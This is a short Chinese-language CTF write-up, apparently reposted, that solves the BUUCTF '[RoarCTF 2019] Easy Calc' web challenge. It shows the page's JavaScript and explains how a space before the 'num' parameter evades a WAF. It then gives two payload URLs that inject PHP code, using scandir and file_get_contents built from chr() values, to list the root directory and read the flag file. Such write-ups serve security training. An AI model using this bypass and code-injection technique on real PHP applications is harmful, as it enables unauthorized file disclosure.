当前位置: 代码迷 >> 综合 >> BUUCTF,Web:[RoarCTF 2019] Easy Calc
  详细解决方案

BUUCTF,Web:[RoarCTF 2019] Easy Calc

热度:67   发布时间:2023-12-05 18:46:39.0

打开网页后,一个网页计算机

正常算是可以算的,输入注入字符会提示

输入其他字符弹窗口

查看页面源码,设置有 waf 

<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>

在源码也可以看到前端的一些设置,对应之前的输入对错,而在 url 中可以看到 calc.php

一段正则过滤,过滤了很多东西,根目录用 ASCII 表示

绕过处理,在传入变量前加空格使内部检测不到之后的变量,但是 php 会删去空格运行后面内容

node4.buuoj.cn:29499/calc.php? num=var_dump(scandir(chr(47)))

49         1 

102        f

103        g

97          a

file_get_contents

node4.buuoj.cn:29499/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))